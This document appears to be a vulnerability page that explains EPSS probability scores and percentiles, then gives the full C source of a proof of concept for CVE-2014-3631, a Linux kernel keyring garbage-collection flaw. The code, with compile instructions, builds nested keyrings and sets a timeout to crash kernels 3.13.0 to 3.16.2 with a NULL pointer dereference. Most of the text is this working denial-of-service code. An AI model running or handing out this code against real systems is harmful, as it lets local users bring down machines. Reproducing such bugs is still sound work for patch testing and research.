The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* ---------------------------------------------------------------------------------------------------- * cve-2014-3631_poc.c * * The assoc_array_gc function in the associative-array implementation in lib/assoc_array.c in the Linux kernel before 3.16.3 * does not properly implement garbage collection, which allows local users to cause a denial of service (NULL pointer dereference and system crash) * or possibly have unspecified other impact via multiple "keyctl newring" operations followed by a "keyctl timeout" operation. * * * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic. * * Compile with gcc -fno-stack-protector -Wall -o cve-2014-3631_poc cve-2014-3631_poc.c -lkeyutils * * * Emeric Nasi - www.sevagas.com *-----------------------------------------------------------------------------------------------------*/ /* ----------------------- Includes ----------------------------*/ #define _GNU_SOURCE 1 #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <syscall.h> #include <stdint.h> #include <inttypes.h> #include <keyutils.h> #include <fcntl.h> #define TARGET_KERNEL_MIN "3.13.0" #define TARGET_KERNEL_MAX "3.16.2" #define EXPLOIT_NAME "cve-2014-3631" #define EXPLOIT_TYPE DOS /* ----------------------- functions ----------------------------*/ /** * Poc for cve_2014_3631 vulnerability */ int main() { key_serial_t currentKey = 0; key_serial_t topKey = 0; int i = 0; int fp; char kname[16]={0}; char gc_delay[16] = {0}; int delay =0; printf("[cve_2014_3631]: Preparing to exploit.\n"); // fetch garbage collector value.. fp = open("/proc/sys/kernel/keys/gc_delay",O_RDONLY); if(fp == -1) { printf("[cve_2014_3631 error]: Could not open /proc/sys/kernel/keys/gc_delay, assuming delay is 5 minutes. \n"); delay = 300; } else { read(fp,gc_delay,sizeof(gc_delay-1)); delay = atoi(gc_delay); close(fp); } // Add top key topKey = add_key("keyring","Lvl1K",NULL,0,KEY_SPEC_USER_KEYRING); if(topKey == -1) { printf("[cve_2014_3631 error]: keyring fault\n"); perror("add_key"); return -1; } // Add 18 keys to top key for(i=0; i< 18; i++) { memset(kname,00,sizeof(kname)); memcpy(kname,"Lvl2K_",strlen("Lvl2K_")); sprintf(kname+strlen("Lvl2K_"),"%d",i); currentKey = add_key("keyring",kname,NULL,0,topKey); if(currentKey == -1) { printf("[cve_2014_3631 error]: keyring fault\n"); perror("add_key"); return -1; } } /* Entering exploit critical code */ printf("[cve_2014_3631]: Exploit!\n"); // Set timeout and wait for garbage collector keyctl_set_timeout(currentKey, 2); // Wait for garbage collector printf("[cve_2014_3631]: Exploit triggered, system will panic in %d seconds..\n",delay); return 0; }